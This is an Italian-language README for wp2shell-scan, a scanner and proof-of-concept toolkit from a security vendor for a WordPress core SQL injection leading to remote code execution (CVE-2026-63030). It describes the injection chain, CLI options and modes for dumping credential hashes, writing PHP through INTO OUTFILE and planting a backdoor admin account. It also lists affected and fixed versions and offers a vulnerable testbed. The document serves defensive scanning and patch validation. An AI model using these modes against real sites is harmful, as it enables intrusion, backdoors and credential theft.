
Uno scanner e toolkit proof-of-concept per CVE-2026-63030 (wp2shell) - esecuzione remota di codice pre-autenticata nel core di WordPress

--check-type time-based (timing SLEEP) e --check-type error-based (differenziale TRUE/FALSE/broken). Entrambi sicuri per scansioni su vasta scala.--i-have-authorization.CVE-2026-63030 ("wp2shell") è una vulnerabilità di esecuzione remota di codice pre-autenticata nel core di WordPress. Un bug di confusione delle route / desincronizzazione degli indici nell'endpoint batch dell'API REST (/batch/v1) consente a un attaccante non autenticato di introdurre un valore author_exclude non sanificato in WP_Query, causando un'iniezione SQL. Nei casi in cui l'utente del database dispone del privilegio FILE, ciò porta all'esecuzione remota di codice tramite SELECT ... INTO OUTFILE. Non sono richiesti plugin. È interessata un'installazione WordPress standard.
WordPress ha rilasciato correzioni in 6.9.5, 7.0.2 e 7.1-beta2. Applicate la patch immediatamente. Se avete bisogno di aiuto per scansionare o individuare questa vulnerabilità nella vostra infrastruttura, scrivete a [email protected]. Per maggiori informazioni, consultate il blog di fullhunt.io.
Abbiamo studiato wp2shell (CVE-2026-63030) sin dalla sua divulgazione pubblica e abbiamo collaborato con i nostri clienti per prevenire questa vulnerabilità. Rilasciamo come open source uno strumento di rilevamento e scansione per individuare e validare CVE-2026-63030. I team di sicurezza potranno usarlo per scansionare le proprie infrastrutture alla ricerca di wp2shell e per verificare che le regole WAF e le patch blocchino effettivamente la catena di attacco nell'ambiente dell'organizzazione.
wp2shell-scan.py è uno scanner unico e unificato che supporta otto modalità:
Nota: Le modalità contrassegnate con "Sì" nella colonna Autorizzazione richiedono il flag
--i-have-authorization.
$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
[--check-type {time-based,error-based}] [-k]
[--timeout TIMEOUT] [--sleep SLEEP]
[--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
[--out-name OUT_NAME] [--php-code PHP_CODE]
[--user-login USER_LOGIN] [--user-pass USER_PASS]
[--user-email USER_EMAIL] [--i-have-authorization]
[--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
[--all] [-v]
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.
positional arguments:
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
Scan mode.
options:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-l USEDLIST, --list USEDLIST
Check a list of URLs.
-p PROXY, --proxy PROXY
Send requests through proxy.
--check-type {time-based,error-based}
Detection method for check mode - [Default: time-based].
-k, --insecure Disable TLS certificate verification.
--timeout TIMEOUT HTTP timeout (in seconds) - [Default: 15].
--sleep SLEEP SLEEP seconds for time-based checks and blind mode - [Default: 5].
--endpoint ENDPOINT REST endpoint used for the injection - [Default: /wp/v2/categories].
--webroot PATH[,PATH...]
Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
--out-name OUT_NAME Dropped filename - [Default: random].
--php-code PHP_CODE PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
--user-login USER_LOGIN
Backdoor username for adduser mode - [Default: wpadmin].
--user-pass USER_PASS
Backdoor password for adduser mode.
--user-email USER_EMAIL
Backdoor email for adduser mode.
--i-have-authorization
Required for exploit, adduser, get-users, extract, and blind modes.
--sql LABEL:SQL probe mode: repeatable label:sql payload pair.
--query QUERY extract/blind mode: custom SQL scalar query to extract.
--dump [KEY ...] extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
--all extract mode: dump all prebuilt queries.
-v, --verbose
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based
$ python3 wp2shell-scan.py check -l urls.txt
$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local
$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version
$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization
$ pip3 install -r requirements.txt
git clone https://github.com/fullhunt/wp2shell-scan.git
cd wp2shell-scan
sudo docker build -t wp2shell-scan .
sudo docker run -it --rm wp2shell-scan check -u https://wp.lab.local
È incluso un ambiente WordPress 7.0.1 + MariaDB vulnerabile di proposito (con privilegio FILE concesso) per la riproduzione sicura offline:
$ cd testbed
$ docker compose up -d
# Complete the WordPress setup wizard at http://localhost:8080, then:
$ python3 wp2shell-scan.py check -u http://localhost:8080
FullHunt è la piattaforma di gestione della superficie d'attacco di nuova generazione. FullHunt consente alle aziende di scoprire tutte le loro superfici d'attacco, monitorarne l'esposizione e scansionarle continuamente alla ricerca delle ultime vulnerabilità di sicurezza. Tutto in un'unica piattaforma, e non solo.
FullHunt offre una piattaforma enterprise per le organizzazioni. La FullHunt Enterprise Platform fornisce scansioni estese e funzionalità aggiuntive per i clienti. La piattaforma enterprise di FullHunt consente alle organizzazioni di monitorare da vicino la propria superficie d'attacco esterna e di ricevere avvisi dettagliati su ogni singolo cambiamento. Organizzazioni in tutto il mondo usano la FullHunt Enterprise Platform per risolvere le proprie sfide di sicurezza continua e di sicurezza della superficie d'attacco esterna.
Questo progetto è realizzato esclusivamente a scopo educativo e di test etico. L'utilizzo di wp2shell-scan per attaccare target senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili di eventuali usi impropri o danni causati da questo programma.
Il progetto è concesso in licenza MIT.
Mazin Ahmed
| Versione |
|---|
| Vulnerabile |
|---|
| Corretto |
|---|
| 6.9 | 6.9.0–6.9.4 | 6.9.5 |
| 7.0 | 7.0.0–7.0.1 | 7.0.2 |
| 7.1 | 7.1-beta1 | 7.1-beta2 |
| < 6.9 | Non interessato (endpoint batch non presente) | — |
| Modalità | Scopo | Autorizzazione |
|---|
check | Rilevamento non distruttivo. Due tipi di check: --check-type time-based (sonda di timing SLEEP) oppure --check-type error-based (differenziale TRUE/FALSE/broken). | No |
probe-endpoints | Scopre quali endpoint REST propagano l'iniezione fino a WP_Query. | No |
probe | Differenza affiancata delle risposte di N payload SQL. | No |
extract | Estrazione tramite oracolo booleano di metadati DB e hash. | Sì |
blind | Estrazione blind basata sul timing (fallback quando l'oracolo booleano non è affidabile). | Sì |
exploit | Valida l'intera catena SQLi → INTO OUTFILE → esecuzione PHP. | Sì |
adduser | Scrive un backdoor mu-plugin che crea un account amministratore; ripiega sull'estrazione booleana degli hash. | Sì |
get-users | Dump tramite oracolo booleano di tutte le credenziali wp_users. | Sì |